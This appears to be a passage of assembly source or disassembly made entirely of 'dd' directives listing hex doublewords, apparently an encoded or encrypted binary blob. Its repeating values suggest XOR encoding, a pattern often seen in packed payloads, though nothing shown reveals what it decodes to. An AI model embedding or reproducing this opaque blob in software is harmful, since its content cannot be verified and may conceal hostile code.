		dd 7EB670CBh, 8B144ACEh, 0C2CD7D87h, 88321A8Fh,	0F60BD766h
		dd 0FD0D7EBAh, 0E5FCC6A3h, 1C24FF38h, 40C790EDh, 0CA521372h
		dd 1132156Fh, 0FE1D4318h, 8D66B03Ch, 0A86AED3Dh, 94BB74A1h
		dd 8E2634D3h, 44339169h, 43CB1566h, 1EC99E06h, 883211E0h
		dd 0A08C7366h, 1CB2746Dh, 0B2B71A8Eh, 87321566h, 443214EFh
		dd 9FB1EC66h, 1726165Fh, 7B61A66h, 0AD321566h, 2232156Ah
		dd 0F72781BEh, 5A650C5Ah, 93E0A328h, 1436BAD6h,	3537FDA6h
		dd 48F2EB6Ch, 0F3611D8Eh, 0A2F5EB5Ch, 0E91A3189h, 1E8C753Dh
		dd 0BC71D173h, 2235FC07h, 0D30B1566h, 1D354E30h, 0C7C7BFDEh
		dd 16BB118Ah, 14C74D42h, 0E2AC59C3h, 0F967ED4Fh, 48AC59C3h
		dd 716FFD4Fh, 4A9CEADEh, 0A1C5940Ch, 431CAB2Ch,	1136F9E7h
		dd 0BCBB1566h, 4436AB42h, 0D21B1566h, 1AB91A38h, 61321566h
		dd 44321560h, 0EF1F575Ah, 0E89950FAh, 8830008Fh, 0D9BFEC66h
		dd 2429F6F6h, 11389B69h, 8DDB1566h, 0FE321566h,	0DAD2A56Ch
		dd 9CCAC699h, 93CA15FBh, 4EB11A60h, 42321566h, 913DEDEDh
		dd 88321566h, 4434FC07h, 98671566h, 0E2132A8Bh,	252C699h
		dd 0EA6CAF83h, 0DA536795h, 943DD56Dh, 88321579h, 4432018Fh
		dd 53DED766h, 49F5DEE7h, 145208E3h, 1C9C96C8h, 0C689C7F4h
		dd 1127FC89h, 0BC71566h, 5013A0E3h, 0A33D1060h,	11321567h
		dd 76E6FC9Eh, 0C9CAEA99h, 39C832FBh, 1135FC60h,	0F7DA1566h
		dd 469B2CCDh, 0CBE1EA57h, 11321572h, 5317717h, 0CBE0D6Fh
		dd 84CB2Ch, 0FDC31A1Dh,	8FAE92E8h, 0C13DD56Dh, 22321561h
		dd 110DFC9Eh, 0D9CB1566h, 443211DFh, 4BD89466h,	101DBE2Ch
		dd 0E1F094ACh, 1D1DBE2Ch, 22321E8Fh, 0B18ADA66h, 95D1C4AEh
		dd 7127C818h, 2233388Fh, 1FBA1A66h, 61321566h, 4432156Fh
		dd 9AC96ADEh, 60A8671Ah, 54AF98A1h, 0BC340CE8h,	0A13DC699h
		dd 11321532h, 88321E8Fh, 62F78D66h, 8691A471h, 0E3C47C9Ah
		dd 0D1CB4706h, 44249769h, 33DB1566h, 72321566h,	94E4894Eh
		dd 0FCEAB73h, 0D43E4545h, 3D2ABC19h, 3D879E07h,	24340147h
		dd 2DC3AA69h, 0F853C2D9h, 88323878h, 4DB71A9Ah,	42321566h
		dd 0E946A2DEh, 0E9C19F7Fh, 658798EDh, 2EDB1372h, 0FD321566h
		dd 0B1BAFCF2h, 8A94897Eh, 42B78897h, 11329269h,	0C8881566h
		dd 256289A4h, 387A0EFh,	1ADB1372h, 73321566h, 0B440F737h
		dd 0EBD95DE5h, 1E52A6C6h, 3F3DCDD9h, 0F96774B1h, 55B2707Ch
		dd 221BF8E7h, 65F305E2h, 1FDF9463h, 0A3439B10h,	534BC493h
		dd 0D5DB3CF6h, 85B3E44Fh, 23D90783h, 0E6E3929Ah, 0B9E324BCh
		dd 0B8E324ACh, 5C87FBE7h, 0FFB37300h, 0E69B66F5h, 82B3DB4Fh
		dd 4C9B66F5h, 6F87D3E7h, 74527300h, 8CFB9400h, 86C174B7h
		dd 113E9369h, 53D1566h,	44321560h, 22329D69h, 56DB1566h
		dd 87CDEA9Bh, 443214EDh, 0BFBFE066h, 17288DBCh,	883C9669h
		dd 4B521566h, 223215E6h, 0DBDD9466h, 0E96472D9h, 48DBC699h
		dd 0D0321566h, 99603A94h, 0E5B7FD1Eh, 243636B9h, 0F164AB00h
		dd 0FEF3DDE7h, 0DA536D42h, 0CDCF9C33h, 0F2BB488Ch, 1134FC3Ch
		dd 11AE1566h, 454AC2C7h, 3A87904Dh, 0F8C71372h,	8832156Eh
		dd 277CDCC7h, 4323A664h, 1AFF90EFh, 2521372h, 1DC746A7h
		dd 2ABE1A07h, 1E321566h, 883217EEh, 0CF537566h,	362AA0E3h
		dd 0F8CA7560h, 88321568h, 0F3F8603Bh, 2BAEA440h, 154B002Fh
		dd 0DD53DDCAh, 81B3F0EFh, 22321562h, 1136F8E7h,	0A4B51566h
		dd 78BB4942h, 23B31A42h, 0E8321566h, 1657406h, 40F59481h
		dd 0A3321566h, 11321189h, 0AC0E9266h, 60369C3Ah, 7CBF989Eh
		dd 71340FFDh, 42B3739Fh, 0BB53FBA4h, 3EB91AB7h,	1E321566h
		dd 883203E9h, 4423FC66h, 78F61566h, 9D47121Dh, 53306E51h
		dd 0C9D154A6h, 0A9EA700Fh, 51F48E3h, 0E0CBED60h, 443230D3h
		dd 2D1611EFh, 11321FE6h, 8837FC66h, 0AB051566h,	70DCF3B1h
		dd 0D3B3F7EFh, 88321562h, 4436FFE7h, 36B51566h,	2DBB4942h
		dd 883CFC42h, 22F01566h, 0AA4ABD1Bh, 44FC9718h,	9DCCD2E7h
		dd 5C8790EDh, 42CE1372h, 1EEB9E00h, 883216EEh, 0BEB97366h
		dd 41327D07h, 15BB1566h, 9BB91A42h, 0AD321566h,	22321568h
		dd 4A7F0826h, 0F0D54232h, 34A32BD7h, 0A73D8140h, 1132157Ch
		dd 8823FC06h, 0B8931566h, 5176A012h, 0FAC7385Ch, 2D7A7802h
		dd 142A673Ch, 0AFBF7439h, 1728893Eh, 0E8E3EA9Ah, 2453AAD4h
		dd 22349F69h, 9A3D1566h, 88321566h, 4432018Fh, 0FB8B6D66h
		dd 51F5969Bh, 0D3BC0DCDh, 153DCE79h, 0E836FA48h, 595A74E6h
		dd 1321530h, 70B33162h,	0EF6B0242h, 0E3B34F01h,	0EFFF4C71h
		dd 0FF61459Ah, 2A94771h, 15164967h, 61B34C3Dh, 64A94771h
		dd 22321C8Fh, 0D9496066h, 3BFB49C4h, 57DB7C60h,	36321566h
		dd 31B085E7h, 0F750B46h, 9DF75869h, 28076957h, 9C198967h
		dd 8E26383Bh, 4BF39E06h, 223210E4h, 0DD78AF66h,	0B5371D9h
		dd 501470DBh, 0A63D1560h, 113215E4h, 8EBB1A06h,	4B321566h
		dd 223215E1h, 0CF851A66h, 59B79E07h, 0BD340146h, 457904Dh
		dd 77521372h, 8733D0DCh, 7F53EFD9h, 71B41AA7h, 1E321566h
		dd 883218EEh, 97897566h, 0A354880Fh, 4E8F0A96h,	0DB97424h
		dd 4226172Bh, 22321E8Fh, 47E1966h, 190B1608h, 3F045DFh
		dd 4579065h, 90521372h,	2D14DCB8h, 91EB940Fh, 431A9ED9h
		dd 0CCB79C9Fh, 87340179h, 443214E9h, 0B9DBEC66h, 71321567h
		dd 167E007h, 40F79483h,	0A1321566h, 3DB5118Bh, 84BB4942h
		dd 5DBB1A42h, 0CB321566h, 11321572h, 30FEFAC0h,	3C0E2251h
		dd 0BDA149CAh, 89B9EEB6h, 84F87DC6h, 0CDF99C35h, 62E9EBEh
		dd 1136D1E7h, 0D8521566h, 1AF2AA69h, 9B63749Fh,	0EECDEA99h
		dd 0E86BDD67h, 4432108Eh, 7BD3DD66h, 1CDBA4BDh,	0FB321566h
		dd 8502578h, 0A5286C75h, 8C4817CEh, 73B97338h, 40DE9607h
		dd 9F1639EFh, 7DF1074Bh, 4DB3C891h, 28F1374Ah, 0DE6FFD6Fh
		dd 1133AE35h, 50331566h, 4EBC1A3Dh, 0CB321566h,	11321563h
		dd 6C92D1C4h, 95B79CD4h, 42340146h, 1EF2AA69h, 8953EAD9h
		dd 503D54E3h, 953D7560h, 11BB1AA1h, 0E9321566h,	44321B8Fh
		dd 0C0280766h, 0D1A74ACBh, 9C58D85Dh, 83D1CA4Bh, 361470E3h
		dd 11321560h, 90B51A66h
		dd 0AD321566h, 22321575h, 6717A37Dh, 63564C36h,	473FD1F3h
		dd 151F4900h, 7B544D74h, 885AE926h, 0B1321576h,	0A3D59C31h
		dd 113211A1h, 8CDD9666h, 181629E1h, 0D71619EFh,	0E4CA150Ch
		dd 0AC9B8099h, 50DB1372h, 0AF321566h, 5B0223DBh, 45990630h
		dd 1A682CBCh, 0ED82EA96h, 0EEA00F44h, 9C2298F3h, 45B01A60h
		dd 0DA321566h, 137F90EFh, 1CA1372h, 502DC8E3h, 0C5B37560h
		dd 4E37CC27h, 7BF99400h, 70CD74E4h, 0E6B14C42h,	0FEB37562h
		dd 0F9C31376h, 5BB11A07h, 2D321566h, 11320CE4h,	8826FC66h
		dd 0AB1B1566h, 0DBAC49AFh, 0ED1781CEh, 0E3972EFEh, 0B12246C0h
		dd 97CD8F16h, 17260ABBh, 4EB97306h, 0BB538FD0h,	361F48D3h
		dd 9867ED60h, 8CF79483h, 0C7321566h, 0EB5118Bh,	2DBB4942h
		dd 3DCDEC42h, 42260DD3h, 0F1B97306h, 98E49400h,	0DBF7470h
		dd 4228A614h, 223BFC06h, 0BCE01566h, 257E669h, 25290786h
		dd 0CB52C599h, 11321577h, 0FA8A741Dh, 0C1FFF958h, 0DB3F9F16h
		dd 0A51E441Bh, 8821FCFBh, 77B71566h, 0CF8672Ah,	48E7C74h
		dd 7646FAB8h, 0F6C43CC2h, 0AF3374A5h, 17263303h, 88321D8Fh
		dd 149F7866h, 75B9BDB0h, 0CC8F9E02h, 0E8340179h, 2214C6E6h
		dd 0F3D0E4E7h, 113CFC07h, 628F1566h, 0D93C9515h, 4E78D3AAh
		dd 43689009h, 0A56FA0EDh, 0ADC71372h, 22321569h, 0E9335B11h
		dd 0F8C5508Bh, 21B81CAh, 0D169F878h, 9B5275C2h,	6BFC949Ah
		dd 257920C6h, 0E36AE6E7h, 9A534128h, 9C0674D3h,	4B9FE960h
		dd 22321DE4h, 13B11A66h, 0E8321566h, 78D4207h, 0E51FC929h
		dd 5E71E920h, 316338BAh, 0BBCDEA9Ah, 1B03E467h,	1EDB4A3Fh
		dd 47321566h, 9E56970Ah, 6A3293ACh, 7C040598h, 48F35B34h
		dd 45BB1A63h, 0DA321566h, 509FAA31h, 7F754A06h,	0B9FD94B1h
		dd 0E35D371Ah, 0D6B31189h, 0DAD22EF5h, 0EE15D2E7h, 0DA3306C9h
		dd 17BB1A39h, 0E8321566h, 0D173AA00h, 0DBB71607h, 0ED340142h
		dd 97EF98EDh, 15C71372h, 5521AB30h, 653327ABh, 76C1142h
		dd 571A9466h, 4200D811h, 70E39E00h, 8832188Fh, 0CFFE2566h
		dd 334DFB5Dh, 0EA14C473h, 709F6317h, 0B3B34606h, 41E996DDh
		dd 0E0B3733Fh, 0DB532796h, 0D25D73DDh, 0C4F19468h, 90478428h
		dd 6B155185h, 85E9E223h, 0C9B31685h, 0CFD4D886h, 1ED9C31h
		dd 1F6DE918h, 2232048Fh, 869AB766h, 65846666h, 33362E5h
		dd 0CC542056h, 1ADB8E9Ah, 0CD321566h, 686CCB84h, 515EDBDDh
		dd 0A4BBD984h, 8E262107h, 44339369h, 0A1C71566h, 943DEA9Eh
		dd 883215F6h, 0B8BAA006h, 0FF0C9407h, 1EEFC8BBh, 88326AE3h
		dd 4422FC66h, 5E8A1566h, 0D6438F14h, 0B9510688h, 3AA4C320h
		dd 996176E6h, 11321566h, 94B90BEFh, 40F69642h, 2232068Fh
		dd 60ABD966h, 8E94F162h, 0C19A15C0h, 0BFBBD34Bh, 85EA320Bh
		dd 8836AD36h, 0AAB31566h, 42176246h, 0D7B3D367h, 0E8176246h
		dd 443AFC3Eh, 0A7371566h, 567AEA1Eh, 3DBBD4E7h,	42262107h
		dd 2232048Fh, 9348CC66h, 301A0A94h, 0A071D105h,	0AF55EC91h
		dd 0A0DB0CA3h, 71CDEAB4h, 0B131D5A7h, 6CB9065h,	9C3D1372h
		dd 88321561h, 4B6D4506h, 0A153EED9h, 51DBCDBh, 0C3D1460h
		dd 44321645h, 22321A8Fh, 36892666h, 6381E920h, 0B9020A2Ch
		dd 405DC6B2h, 1132018Fh, 487B966h, 0AE602491h, 847B1D14h
		dd 0D5F0F237h, 0D9A19B26h, 0EE0C940Ch, 2D98BFCCh, 11324BE3h
		dd 3062E066h, 44321562h, 26B9D367h, 15F69442h, 7D321566h
		dd 57B2AC37h, 0E3734CA9h, 0F0F3168Fh, 54DB9464h, 0C574161Eh
		dd 0C622F197h, 0ED7C9C80h, 0B1619EDh, 2CCB11A2h, 2232756Bh
		dd 461611EFh, 9524A3Eh,	16E80E89h, 43524378h, 0A6617439h
		dd 76BA478Fh, 1F68E5EEh, 221DFC93h, 41CE1566h, 0AC369E31h
		dd 1B36D1E5h, 9561449Ah, 0D9C59546h, 69E8EEh, 0CF3D4C8Eh
		dd 22321577h, 1132198Fh, 5D495566h, 0E7EBB29Bh,	7E48CE6Ah
		dd 47F47D87h, 8CBB1566h, 43DA7542h, 0E321566h, 2FBFC359h
		dd 4C84A433h, 6DE3AF3Dh, 0A1533CECh, 51E4CDBh, 0C3D1460h
		dd 44321468h, 2B5A439Ah, 4F7F7741h, 0FD6FAA31h,	93C51FD8h
		dd 8E99E2E7h, 0EF1BAD45h, 0D6C29C39h, 0EC8F969Eh, 22340E1Eh
		dd 11149169h, 5CA1566h,	5EF5B1FBh, 98527560h, 0A8A04Bh
		dd 7AB97307h, 97CDE007h, 22389E69h, 1E521566h, 883215E7h
		dd 25C59E66h, 2DA22AE6h, 11325EE2h, 8837FC66h, 423E1566h
		dd 0A3562C5Ah, 1132118Ah, 0AC2E9C66h, 443210DDh, 79ED1466h
		dd 108BFC9Fh, 83D1566h,	44321571h, 2232078Fh, 56639366h
		dd 2E96E8A6h, 91245820h, 0C942190Ch, 71C37C77h,	88379B69h
		dd 0C5541566h, 43307195h, 1E62EDE5h, 883274E4h,	4EB21A66h
		dd 42321566h, 77FDAA69h, 0F689C7E7h, 22C7A507h,	0A76A037h
		dd 356B738Eh, 74CD11B5h, 40B9ECCCh, 0C0BB4742h,	1136D7E7h
		dd 4AB11566h, 60269262h, 223EFC3Ah, 47521566h, 1B1A754Fh
		dd 1814BD2Dh, 4298D48Bh, 0AA54DBEDh, 615361A0h,	443215C7h
		dd 22321C8Fh, 96D6F66h,	744DB674h, 70CD3BDCh, 0E6B14D42h
		dd 90547562h, 0E9EC1CBFh, 44339469h, 88CB1566h,	0AEE19506h
		dd 70B97306h, 44329A69h, 43531566h, 0F8CD6AE6h,	88519069h
		dd 0C7CA1566h, 394ABDDBh, 953D1560h, 88321542h,	443E9769h
		dd 0A93D1566h, 11321560h, 88329E69h, 0D9BF1566h, 2428D3BFh
		dd 0CFB37306h, 0BF86028Ah, 0B1E1EA07h, 2236F9E7h, 5BB1566h
		dd 0F49D42h, 4B681111h,	223209E6h, 1EDB7566h, 0AD321566h
		dd 932031B4h, 874BC1D5h, 355B3F97h, 52B3EE45h, 9C6024h
		dd 0FFB79E07h, 0F8340179h, 88321572h, 8DD33ABh,	0B2B30108h
		dd 0F1235E4h, 0C53D9221h, 3803CCA3h, 6334AF34h,	0D3B33450h
		dd 0C45F33ADh, 6D68C567h, 45E3389Eh, 2DB78C5h, 0FA321566h
		dd 0C86C2BB2h, 70C3A830h, 0E5200ECCh, 5AE7DB64h, 0FA642612h
		dd 22321562h, 19376263h, 0A5C23C48h, 6A3A1011h,	2220FC38h
		dd 0CA231566h, 421BA5AFh, 53874CD5h, 0B79B4710h, 0B7B28E8Ch
		dd 9CB91ACDh, 4B321566h, 22321BEAh, 113BFC66h, 0B5691566h
		dd 3A166B34h, 8F105B60h, 9A544606h, 9534BAEh, 4432118Ah
		dd 63E9C66h, 113215DFh,	747C9C66h, 5DBD1A3Fh, 0CB321566h
		dd 11321572h, 91BCB3BAh, 0AA9842C7h, 1579459Eh,	0D61F7916h
		dd 0B934DEBCh, 0BBC9C08Fh, 24DB7599h, 0BC321566h, 380DE3AAh
		dd 4423FDE9h, 88391566h, 0B9E0B43Ch, 95268FC1h,	5B1F41DFh
		dd 0CB5A95DBh, 1132156Ah, 41BBF7Eh, 9A446EEDh, 66A5E96Ch
		dd 0A4BB743Dh, 8E262107h, 0FB3D7506h, 8F887394h, 9054749Dh
		dd 0E9B908A9h, 446CD50Eh, 6269C66h, 1132128Fh, 131E2B66h
		dd 13D30B94h, 22B2150Eh, 1BBC1A66h, 61321566h, 44321563h
		dd 0C715A561h, 1E327FC1h, 883219E7h, 42B21A66h,	2D321566h
		dd 113215E9h, 3DCDE966h, 4226243Bh, 0EFA7EA9Ah,	0F8340160h
		dd 88321575h, 947F25A9h, 31FFCF9Fh, 0C01C8E2Eh,	0B6EFA40Fh
		dd 0BBEC9B43h, 0A3683152h, 113211A2h, 5B9ED66h,	4226108Fh
		dd 22369369h, 9A521566h, 0D96574B6h, 64667CDFh,	7BFD9C7Ch
		dd 455B14A1h, 0B11B0F46h, 51BE1A39h, 0CB321566h, 11321576h
		dd 8391AB94h, 28F8DDD5h, 5A38E789h, 0B6194E1Ch,	8836A833h
		dd 0AD331566h, 0A31639EDh, 113211A2h, 883EFC66h, 849B1566h
		dd 0E9F07969h, 0E1A0A368h, 5BBE905h, 4226108Fh,	2232138Fh
		dd 0BF546066h, 61801D83h
		dd 0BBCDD3F0h, 0EDB24506h, 1FDB4C32h, 1F321566h, 0B32712BDh
		dd 9923D8A6h, 5C94A89Bh, 0E3D7410h, 44321567h, 931FC93h
		dd 1DDB1566h, 0B6321566h, 648D9D59h, 74AD7C21h,	7188C138h
		dd 61BF9E93h, 24340163h, 2DF89E00h, 113215E8h, 0DE527466h
		dd 44329C69h, 0CA681566h, 11321577h, 377BB6E2h,	232FB75Dh
		dd 255B4AF7h, 0A21FB565h, 0A5FA944Ch, 1C3F09C8h, 26DE9407h
		dd 98321566h, 88883172h, 45321566h, 78389EACh, 0B5BF9C9Ah
		dd 0E8340E1Eh, 4BC5AA69h, 22320FE1h, 1126FD66h,	0BFB51566h
		dd 6A7E3A6Ah, 7CF47D1Ah, 0A3701E62h, 0C1D08BD1h, 256A4D5Eh
		dd 767C2DE7h, 943D5922h, 883215E4h, 4421FC9Ah, 6EF61566h
		dd 95FBB24Bh, 0D99ECEC8h, 4E308DABh, 0F09F328Eh, 69B3731Ah
		dd 871C5962h, 443248E3h, 23BF1A66h, 0E8321566h,	0AC069436h
		dd 5C768CEh, 0A11621EDh, 0E7B311A2h, 0C9C768CEh, 428F4093h
		dd 23321566h, 351E9E88h, 0E836D1E5h, 24ED9400h,	4ED49541h
		dd 0ECB79E07h, 0E8340157h, 0F33D93D7h, 48DB74B0h, 71321563h
		dd 88321F8Fh, 23E53366h, 90F028ADh, 90E2C451h, 0B0C571B7h
		dd 0CD617441h, 0A9EC9CA5h, 0D5B3317Ah, 88321562h, 442F9F69h
		dd 0A13D1566h, 11321571h, 8832078Fh, 1E85CB66h,	3132624Ah
		dd 908FB3CBh, 0ABC52BF9h, 1495AD3Ah, 0A11601EDh, 0AF5211A2h
		dd 0A66B887Ah, 44BB1A06h, 43321566h, 0D803E007h, 8832188Fh
		dd 0C68BD666h, 0F3286E09h, 9CAB155Bh, 709ED6D1h, 0C03D155Ah
		dd 223214C4h, 11239269h, 84DB1566h, 4E321566h, 0FB0FF5FDh
		dd 78148A5Fh, 0B44E942Eh, 93B61A4Bh, 2DCDEA99h,	113214E4h
		dd 0A60EE066h, 453F9169h, 0A53D1566h, 11321577h, 883BFD06h
		dd 31F11566h, 631F1B36h, 4B9DF320h, 87022907h, 44374EE4h
		dd 2EB81A66h, 1E321566h, 883213E9h, 44B51A66h, 1E321566h
		dd 9EB41A5Fh, 7DCDEA99h, 0C63D545Ah, 2232105Eh,	1E68299Ah
		dd 77CD68E0h, 443FFC99h, 0D4121566h, 4782654Dh,	8485259Fh
		dd 786C28C9h, 41B61A39h, 0F8CDEA99h, 88321569h,	0B17EF9A9h
		dd 566A25F2h, 863C8F47h, 0B4222A70h, 0BDB01A07h, 0CB321562h
		dd 1132156Ah, 0C097D337h, 7A4DC08Bh, 93D7B431h,	1E48299Fh
		dd 77CD38E0h, 4BDA7599h, 61321566h, 588B1DA4h, 0B023ED03h
		dd 78FC1E36h, 0CCB209C7h, 3DB4ABBh, 48321566h, 0C0FCB6F5h
		dd 0F4771753h, 0EA02182Dh, 517124Dh, 0EDDB74EDh, 42321562h
		dd 11309C69h, 0E9521566h, 42DBEC06h, 0CE321566h, 0EF4386C8h
		dd 0E85374F9h, 218B7306h, 2220FC1Ch, 0ABBB1566h, 0E558294Fh
		dd 3064A058h, 1F7039F1h, 3B640695h, 79B37307h, 1153D2E0h
		dd 223214DBh, 4CD81466h, 87C02C93h, 44364EE2h, 2CBA1A66h
		dd 0F8321566h, 8832156Fh, 839A672Ch, 9FA86309h,	108B440Bh
		dd 0A1321566h, 16CA4CACh, 223214DCh, 4BE31466h,	88321A8Fh
		dd 650DF866h, 0BA0E4295h, 0AC18D81Dh, 9009581Bh, 0BBCC7C8Fh
		dd 2DBA1A99h, 0F8321566h, 8832156Ch, 9CAD1EB9h,	9539227Ah
		dd 0D8B7C4E7h, 8BCC9169h, 0C53D1566h, 22321567h, 4487989Eh
		dd 6134016Ch, 44321563h, 7420E868h, 7C5AE04Dh, 1321569h
		dd 40B33172h, 0F81F3242h, 0F8B34C01h, 0EFE83841h, 0BD8D1A06h
		dd 2DDB749Fh, 0A5321566h, 0CFF91475h, 2D2B530Ch, 0F0BAC96Fh
		dd 90600CAFh, 0E6E33162h, 116D5CF4h, 0B05CC4DBh, 4CDD3C2Fh
		dd 8832138Fh, 0EC8BEC66h, 0CB675732h, 11321563h, 37547128h
		dd 0DA874418h, 0CA02A5D6h, 921619EDh, 86DB11A2h, 86321566h
		dd 0D2863420h, 72BC4593h, 0B1EE7DA4h, 4437FCA2h, 0D11A1566h
		dd 0BF6C6B4Ah, 9ADBE813h, 82321566h, 5040B12Fh,	3473BF86h
		dd 76CF97A1h, 798BC115h, 4452759Eh, 70BAEEDEh, 0DF8D4207h
		dd 0C555D52Ah, 35713381h, 49F59423h, 0CF1E7C09h, 0F2F59421h
		dd 0BF5AF00h, 0E81B4A9Fh, 9E24D4E7h, 2CC72C42h,	22321566h
		dd 9A16194Fh, 4CB3316Ah, 44321562h, 9B63E093h, 59306CFAh
		dd 0A16BDA67h, 0D8DD94A9h, 0CB7A171Fh, 11321576h, 0C577D652h
		dd 0E4E20BF5h, 526633D6h, 0FEB57245h, 88218C0Eh, 600E9C66h
		dd 0CB6C4A30h, 11321575h, 70BAC7A7h, 95A293BCh,	856A9CBDh
		dd 0D5663FECh, 87353284h, 44321EE7h, 0A3547566h, 777F7891h
		dd 0E9CCB9DDh, 2252B195h, 7034CFE7h, 1137FC06h,	10D21566h
		dd 0ADFB31B9h, 2232156Dh, 0B43C4D4Ch, 8F7F6466h, 2568FD81h
		dd 2C844707h, 99C0A235h, 8869EA19h, 0AD68EA11h,	22321575h
		dd 4D3C8472h, 0E709FF53h, 0A09D087Ch, 31CFFCC5h, 9C01B1DEh
		dd 9C3840F3h, 4434FC60h, 0A2F11566h, 19134758h,	914F90EDh
		dd 4FDB1372h, 5E321566h, 0FBB23A36h, 2C41DB3Eh,	84B7182Ah
		dd 22489069h, 71C71566h, 3F3D93D3h, 0C1F47497h,	24260F3Fh
		dd 1120FC21h, 0AC9D1566h, 210BFA7Fh, 692565CEh,	847E995Ah
		dd 55EB4C59h, 0DE95C70Eh, 2223FCB2h, 0C4E01566h, 734373A8h
		dd 0F5C7C6DCh, 0BADBD157h, 0EE1648F8h, 9C28C4D3h, 0C1BFE060h
		dd 242595BDh, 113BFC06h, 0C3EA1566h, 0E8EE18D9h, 0DEF14006h
		dd 1EE2EA07h, 883206EDh, 443CFC66h, 0FEDF1566h,	0A3A9F9EAh
		dd 0ECEFD210h, 7EF7C149h, 0A3D09C34h, 113211A4h, 8CD89466h
		dd 0C3321566h, 0AB6E3172h, 0EECB3172h, 48B7E0B6h, 44ED9069h
		dd 44521566h, 0A40CD3E7h, 75D562DCh, 0CFCA7428h, 361D80E3h
		dd 16B51A60h, 87321566h, 443214EAh, 0E2B7E966h,	11439069h
		dd 87DB1566h, 9A321566h, 4FAE2020h, 5AC00336h, 11FC0B6Fh
		dd 0C1F49835h, 24260F3Fh, 0CBB9752Ah, 15EB9400h, 0AD5A74F1h
		dd 2DEBCF7Ah, 113214E7h, 3DCDE066h, 42260FB7h, 0F9B7989Fh
		dd 0E83402E6h, 8752C599h, 443201E1h, 223DFC66h,	24311566h
		dd 382EED1h, 75712A59h,	5511CC0h, 1122FCD8h, 0E7DC1566h
		dd 0AD572571h, 3B1FC3F9h, 755200E0h, 0B53DCE6h,	50BB118Ah
		dd 0F2CDE042h, 1132078Fh, 9F45FC66h, 7823616Eh,	0AE73A654h
		dd 0CD737645h, 0DEF2326h, 5AB71AA6h, 2D321566h,	113214E9h
		dd 45DBE066h, 4B321566h, 223219E5h, 17B81A66h, 87321566h
		dd 443215E6h, 86B79C66h, 0E9340E1Eh, 884FD20Eh,	60369C66h
		dd 222B9C69h, 5DB1566h,	93321566h, 7E458317h, 0CD116DBFh
		dd 1363805h, 0E7BA1A7Ah, 24894CE7h, 0A5673CDCh,	1137FC16h
		dd 0E24E1566h, 259FB04Bh, 2200A20Eh, 35069C66h,	3BE09406h
		dd 22135CA4h, 43586BDCh, 6D7490EBh, 77CB1371h, 45BD1AB6h
		dd 0DB321566h, 943DD56Dh, 88321559h, 4421FC06h,	7BB1566h
		dd 0F39967F9h, 0B784F072h, 8170F116h, 3FFEB7BEh, 90544707h
		dd 0D66CEAB0h, 4418FC07h, 36DB1566h, 0BF321566h, 0D14469FAh
		dd 0A2842F74h, 0AF2BB7B9h, 3F90E751h, 16D241Ch,	4B2E3122h
		dd 223212EEh, 4B647566h, 0E9F5A269h, 4420FC07h,	70C31566h
		dd 0E5200ECCh, 5AE7DB64h, 0FDBF2612h, 0C2795E02h, 113BFCA5h
		dd 0F1B81566h, 4A211E25h, 42F5F308h, 1132128Fh,	0C3CD6466h
		dd 18DEAA82h, 222A9A69h, 3DA1566h, 0DC321566h, 0A086F47h
		dd 0A4840F28h, 0BDE84B02h, 0B105BFA0h, 24534C3Bh, 0EDB37306h
		dd 9A5378DCh, 934AB1EBh, 0A1B27560h, 223DFC95h,	5F021566h
		dd 6CDD9B42h, 2E7D9385h, 1190FC78h, 18DB7485h, 0DC321566h
		dd 0AE221788h, 0A74A0EAEh, 1145F50Eh, 0AC369C66h, 0ABB37306h
		dd 0A35425E6h, 70368CA5h, 8806300Eh, 603E9C66h,	2239FC3Eh
		dd 10FE1566h, 0FF040FA8h
		dd 5E6D793Ch, 0F5B3754Bh, 22CBEC81h, 0E9F7C1E6h, 440EAC37h
		dd 0E3B31566h, 7D5E6C80h, 61B3D467h, 285E6C80h,	2D6B1465h
		dd 113212EAh, 89B91A66h, 0BD321566h, 22BAA599h,	25B31566h
		dd 9D6DDD42h, 60269E5Bh, 2236D1E7h, 0E3B31566h,	0B5274AAEh
		dd 0BBD29506h, 0A79BB4DDh, 84BB7428h, 8E2601FBh, 0BC88479Fh
		dd 23321566h, 35269EB6h, 8836D1E7h, 22521566h, 0DD53EEEDh
		dd 3DB31916h, 0FA585042h, 0FC624F1Fh, 5B407F23h, 1E6AD767h
		dd 88320CEBh, 57B11A66h, 0CB321566h, 11321568h,	929D6661h
		dd 0CE2BCCBBh, 1AFBA0Ah, 84BB4F24h, 8E261F47h, 443DFC06h
		dd 5911566h, 0F232B218h, 8D712664h, 384B4883h, 26B974DBh
		dd 0F2BB4642h, 8836D6E7h, 87B11566h, 62E9262h, 65CDEC3Ah
		dd 8CB93142h, 40F69642h, 0A23D7506h, 11321566h,	3544507h
		dd 12534AA1h, 0D17080D8h, 0E7B35B2Ch, 0E2E31BA4h, 59D2F3E7h
		dd 0ECB34ADAh, 319E5396h, 0EF44E3E7h, 0B41B0111h, 27FA3C38h
		dd 25E93CE0h, 883FFC06h, 43C31566h, 0B396733Dh,	0F2B4AA98h
		dd 0E9FE620Eh, 4E13905Dh, 0A03D1372h, 11321532h, 883A9769h
		dd 0C03D1566h, 22321564h, 94097406h, 8E2601FBh,	44089669h
		dd 0CB521566h, 11321568h, 0D8E13298h, 9D4C14BAh, 0AE15C4A2h
		dd 16DA272Fh, 0A2321566h, 0E95323CAh, 0A35430FAh, 4FF419B9h
		dd 4ACE7407h, 4DDB1562h, 11321566h, 59E1CAFBh, 48D7A3BDh
		dd 48BA1A07h, 2D321566h, 113213EBh, 88B01A66h, 0B8321566h
		dd 0AD1611A1h, 0E6455771h, 31633172h, 0CC8FFD16h, 2616594Fh
		dd 6B41A3Fh, 61321566h,	44321574h, 61353CC1h, 0BB9317DFh
		dd 5CDA046Eh, 0F5B2E3Ah, 75CABBF8h, 3DBEAD36h, 0FC8D649Ah
		dd 45BC16B5h, 5EBB4DA1h, 1E6D1D42h, 883214EEh, 2C67E966h
		dd 8620E80h, 0E8F7943Bh, 49439F69h, 0A9B3138Bh,	205D7DCCh
		dd 0E46FFDEFh, 0C54B98EBh, 0CF521372h, 22BA1A9Eh, 70321566h
		dd 0E8D3EA93h, 0C5FAAA69h, 0F2FCBE81h, 71527444h, 0BE65AD00h
		dd 40DE9607h, 9B1619EFh, 11321566h, 89B8E467h, 443AFC3Fh
		dd 7BE61566h, 541F9FF6h, 610E2F51h, 45AB9169h, 0AE3D1566h
		dd 11321571h, 8832078Fh, 0DEEBA966h, 9EB11170h,	0C8AE7491h
		dd 0C963E5Ch, 78AF717Dh, 85B61A8Eh, 1E321567h, 88320DEEh
		dd 0FF547566h, 2FDBD28Fh, 0ED321566h, 0FB4A1CCBh, 8BC18C48h
